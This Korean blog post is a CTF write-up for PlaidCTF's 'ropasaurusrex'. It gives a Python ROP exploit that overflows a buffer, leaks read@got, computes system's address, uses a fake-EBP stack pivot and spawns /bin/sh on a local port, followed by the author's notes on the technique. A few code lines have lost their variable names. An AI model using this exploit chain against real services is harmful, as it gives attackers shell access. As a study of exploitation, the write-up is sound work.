Notice
Recent Posts
Recent Comments
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Today
Total
관리 메뉴

9oat's LAB

[PlaidCTF] ropasaurusrex 본문

Write Up/CTFs

[PlaidCTF] ropasaurusrex

90at 2017. 7. 5. 00:50

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from socket import *
from struct import *
 
HOST = '127.0.0.1'
PORT = 8888
 
= lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]
 
writeplt = 0x804830c
pppr = 0x80484b6
ppppr = 0x80484b5
dynamic = 0x80495d4
dynamic_str = 0x80495e0
readplt = 0x804832c
readgot = 0x804961c
bin_sh = "/bin/sh\n"
leaveret = 0x8048447
 
= socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
 
pl = "A"*140         # Overflow!
 
pl += p(writeplt)    # leak read@got, get library addr of 'read'
pl += p(pppr)
pl += p(0x1)
pl += p(readgot)    
pl += p(0x4)
 
pl += p(readplt)    # save "/bin/sh" to dynamic_str
pl += p(ppppr)        # pop ebx, pop esi, pop edi, pop ebp
pl += p(0x0)
pl += p(dynamic_str)
pl += p(0x8)
pl += p(dynamic-4)    # Fake EBP
 
pl += p(readplt)    # save pl2 to dynamic
pl += p(leaveret)
pl += p(0x0)
pl += p(dynamic)
pl += p(0xc)
 
s.send(pl)                    # send payload
system = up(s.recv(4)) - 0xd5af0 + 0x3ada0    # make system addr
s.send(bin_sh)                    # input "/bin/sh"
 
pl2 = ''
pl2 += p(system)                # make pl2 : system + dummy + &/bin/sh
pl2 += "A"*4
pl2 += p(dynamic_str)
s.send(pl2)                    # input pl2
s.send('id\n')
cs


Got Overwriting 말고 다른 방법으로도 풀 수 있지 않을까 해서 시도해 본 Fake EBP.

처음 시도할 땐 SFPdynamic-4주소로 덮어씌우고 시도했었는데 자꾸 ebp가 엉뚱한 값으로 변경되더라. 

왜 그럴까 몇 번의 삽질 후 알게된 것은 pppr할 때 마지막 poppop ebp.. 그래서 ebp0x4가 됐다가, 0x8이 됐던 것..

ppppr의 마지막 poppop ebp이므로 이를 이용해 ebpdynamic-4를 넣을 수 있었고, exploit할 수 있었다.


뭐 딱히 의미있는 풀이는 아니고.. 공부하면서 해보는 이런저런 시도들..

'Write Up > CTFs' 카테고리의 다른 글

[2018 Codegate] Baskin  (0) 2018.07.11
[2018 Codegate] Marimo  (0) 2018.07.11
[2017 HUST] Withdraw  (0) 2018.07.11
Comments